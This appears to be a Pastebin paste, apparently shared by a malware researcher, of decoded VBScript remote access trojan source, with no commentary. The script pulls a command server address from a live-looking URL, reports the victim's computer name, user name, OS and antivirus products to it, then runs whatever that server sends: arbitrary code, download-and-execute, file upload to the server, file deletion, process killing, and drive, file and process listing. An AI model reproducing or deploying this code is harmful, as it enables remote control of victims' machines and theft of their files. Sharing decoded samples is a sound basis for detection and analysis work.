James_inthe_box

Decoded

Nov 18th, 2019
608
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.78 KB | None | 0 0
  1. url = "http://mslove.mypressonline.com/linkshw.txt"
  2. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  3. req.open "GET", url, False
  4. req.send
  5. If req.Status = 200 Then
  6. strLink = req.responseText
  7. End If
  8.  
  9. host = array (strLink)
  10. set shellobj = createobject("wscript.shell")
  11. dim filesystemobj
  12. set filesystemobj = createobject("scripting.filesystemobject")
  13. dim httpobj
  14. set httpobj = createobject("msxml2.xmlhttp")
  15. spliter = "<" & "|" & ">"
  16. dim response
  17. dim cmd
  18. dim param
  19. info = ""
  20. usbspreading = ""
  21. startdate = ""
  22. dim oneonce
  23. dns = 0
  24. on error resume next
  25. instance
  26. while true
  27. install
  28. response = ""
  29. response = post ("is-ready",information)
  30. if httpobj.status <> 200 then
  31. if dns >= ubound (host) then
  32. dns = 0
  33. else
  34. dns = dns + 1
  35. end if
  36. end if
  37. cmd = split (response,spliter)
  38. select case cmd (0)
  39. case "excecute"
  40. param = cmd (1)
  41. execute param
  42. case "send"
  43. download cmd (1),cmd (2)
  44. case "site-send"
  45. sitedownloader cmd (1),cmd (2)
  46. case "recv"
  47. param = cmd (1)
  48. upload (param)
  49. case "enum-driver"
  50. post "is-enum-driver",enumdriver
  51. case "enum-faf"
  52. param = cmd (1)
  53. post "is-enum-faf",enumfaf (param)
  54. case "enum-process"
  55. post "is-enum-process",enumprocess
  56. case "delete"
  57. param = cmd (1)
  58. deletefaf (param)
  59. case "exit-process"
  60. param = cmd (1)
  61. exitprocess (param)
  62.  
  63. end select
  64. wend
  65. function post (cmd ,param)
  66. post = param
  67. httpobj.open "post","http://" & host(dns) &"/" & cmd, false
  68. httpobj.send param
  69. post = httpobj.responsetext
  70. end function
  71. function information
  72. on error resume next
  73. if inf = "" then
  74. inf = hwid & spliter
  75. inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
  76. inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
  77. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  78. set os = root.execquery ("select * from win32_operatingsystem")
  79. for each osinfo in os
  80. inf = inf & osinfo.caption & spliter
  81. exit for
  82. next
  83. inf = inf & "plus" & spliter
  84. inf = inf & security & spliter
  85. inf = inf & usbspreading
  86. information = inf
  87. else
  88. information = inf
  89. end if
  90. end function
  91. function hwid
  92. on error resume next
  93. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  94. set disks = root.execquery ("select * from win32_logicaldisk")
  95. for each disk in disks
  96. if disk.volumeserialnumber <> "" then
  97. hwid = disk.volumeserialnumber
  98. exit for
  99. end if
  100. next
  101. end function
  102. function security
  103. on error resume next
  104. security = ""
  105. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  106. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  107. for each objitem in colitems
  108. versionstr = split (objitem.version,".")
  109. next
  110. versionstr = split (colitems.version,".")
  111. osversion = versionstr (0) & "."
  112. for x = 1 to ubound (versionstr)
  113. osversion = osversion & versionstr (i)
  114. next
  115. osversion = eval (osversion)
  116. if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  117. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  118. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  119. for each objantivirus in colantivirus
  120. security = security & objantivirus.displayname & " ."
  121. next
  122. if security = "" then security = "nan-av"
  123. end function
  124. sub download (fileurl,filedir)
  125. if filedir = "" then
  126. filedir = installdir
  127. end if
  128. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  129. set objhttpdownload = createobject("msxml2.xmlhttp")
  130. objhttpdownload.open "post","http://" & host(dns) &"/" & "is-sending" & spliter & fileurl, false
  131. objhttpdownload.send ""
  132.  
  133. set objfsodownload = createobject ("scripting.filesystemobject")
  134. if objfsodownload.fileexists (strsaveto) then
  135. objfsodownload.deletefile (strsaveto)
  136. end if
  137. if objhttpdownload.status = 200 then
  138. dim objstreamdownload
  139. set objstreamdownload = createobject("adodb.stream")
  140. with objstreamdownload
  141. .type = 1
  142. .open
  143. .write objhttpdownload.responsebody
  144. .savetofile strsaveto
  145. .close
  146. end with
  147. set objstreamdownload = nothing
  148. end if
  149. if objfsodownload.fileexists(strsaveto) then
  150. shellobj.run objfsodownload.getfile (strsaveto).shortpath
  151. end if
  152. end sub
  153. function upload (fileurl)
  154. dim objstreamuploade,buffer
  155. set objstreamuploade = createobject("adodb.stream")
  156. with objstreamuploade
  157. .type = 1
  158. .open
  159. .loadfromfile fileurl
  160. buffer = .read
  161. .close
  162. end with
  163. set objstreamdownload = nothing
  164. post "is-recving" & spliter & fileurl,buffer
  165. end function
  166. function enumdriver ()
  167. for each drive in filesystemobj.drives
  168. if drive.isready = true then
  169. enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
  170. end if
  171. next
  172. end Function
  173. function enumfaf (enumdir)
  174. enumfaf = enumdir & spliter
  175. for each folder in filesystemobj.getfolder (enumdir).subfolders
  176. enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
  177. next
  178. for each file in filesystemobj.getfolder (enumdir).files
  179. enumfaf = enumfaf & file.name & "|" & file.size & "|" & "f" & "|" & file.attributes & spliter
  180. next
  181. end function
  182. function enumprocess ()
  183. on error resume next
  184. set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
  185. set colitems = objwmiservice.execquery("select * from win32_process",,48)
  186. dim objitem
  187. for each objitem in colitems
  188. enumprocess = enumprocess & objitem.name & "|"
  189. enumprocess = enumprocess & objitem.processid & "|"
  190. enumprocess = enumprocess & objitem.executablepath & spliter
  191. next
  192. end function
  193. sub deletefaf (url)
  194. on error resume next
  195. filesystemobj.deletefile url
  196. filesystemobj.deletefolder url
  197. end sub
Add Comment
Please, Sign In to add comment